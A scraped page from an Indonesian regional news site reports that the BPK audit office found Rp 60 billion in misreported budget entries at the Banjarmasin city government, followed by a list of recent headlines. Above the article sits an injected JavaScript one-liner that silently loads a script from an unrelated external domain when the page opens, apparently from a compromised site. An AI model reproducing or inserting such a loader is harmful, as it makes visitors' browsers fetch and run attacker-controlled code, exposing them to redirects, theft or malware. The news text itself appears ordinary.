(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

BPK Temukan Salah Pelaporan Anggaran Sebesar Rp 60 M di Pemko Banjarmasin


BANJARMASIN, Badan Pemeriksa Keuangan (BPK) Kalsel sempat menemukan adanya salah pelaporan penyampaian laporan keuangan pada anggaran Pemko Banjarmasin. Jumlahnya tak tanggung-tanggung, mencapai Rp 60 miliar!

Hal ini sebagaimana disampaikan Wakil Walikota Banjarmasin Hermansyah dalam rapat evaluasi Inspektorat Banjarmasin di aula Kayuh Baimbai, Pemko Banjarmasin, Selasa (19/12). Dia mengatakan, peristiwa itu terjadi akibat Struktur Organisasi Perangkat Daerah (SOPD) gegabah meletakkan nomenklatur laporan administrasi pemerintahan.

Dalam catatan, dari sejumlah SPOD di lingkup Pemko Banjarmasin, sempat terjadi kesalahan input pada Dinas Pendidikan. Misalnya saja, laporan Bantuan Operasional Sekolah (BOS) yang seharusnya berada di belanja langsung, tetapi diletakan di belanja modal. Kesalahan lainnya yakni BPK menemukan silang penempatan kode rekening.

“Dari hasil pemeriksaan BPK, uang yang terselamatkan Rp 60 miliar itu dikembalikan karena penggunaan anggaran tidak terserap,” jelas Hermansyah.

Terkait hal ini, Wawali Hermansyah meminta agar ada perbaikan terhadap laporan keuangan pada seluruh SOPD. “Temuan 2017 ini bisa diperbaiki. Tapi untuk 2018 pengunaan anggaran, termasuk perencanaan harus diperbaiki karena banyak yang tidak sesuai,” tegasnya.

Hermansyah khawatir, jika mekanisme tersebut tak diperbaiki maka upaya Pemko Banjarmasin mempertahankan predikat Wajar Tanpa Pengecualian (WTP) akan lucut.

Di sisi lain, Kepala BPK Kalsel Didi Budi Satrio mengatakan, lembaganya secara umum menemukan persoalan terhadap tiga entitas dalam pelaporan keuangan di beberapa daerah se-Kalsel yang telah diaudit. Di antaranya, masih ada temuan kekurangan volume atas sejumlah paket pekerjaan fisik infrastruktur, keterlambatan pelaksanaan pekerjaan, dan paket pekerjaan yang terindikasi kontrak kritis. “Serta dokumen pengadaan e-purchasing yang tidak lngkap,” ujarnya.

Dengan adanya kelemahan yang ditemukan, BPK telah merekomendasikan pemerintah daerah dapat menindaklanjutinya selambat lambatnya 60 hari, sejak laporan hasil pemeriksaan BPK diterima masing-masing kabupaten/kota. (asriyani)

 

Reporter : Asriyani
Editor : Chell

Desy Arfianty

Recent Posts

WTP Ke-11 untuk Pemkab Banjar, Wabup Banjar: Ini Kerja Tulus Semua Perangkat Daerah

KANALKALIMANTAN, BANJARBARU - Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa… Read More

12 menit ago

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

11 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

12 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

12 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

12 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

13 jam ago

This website uses cookies.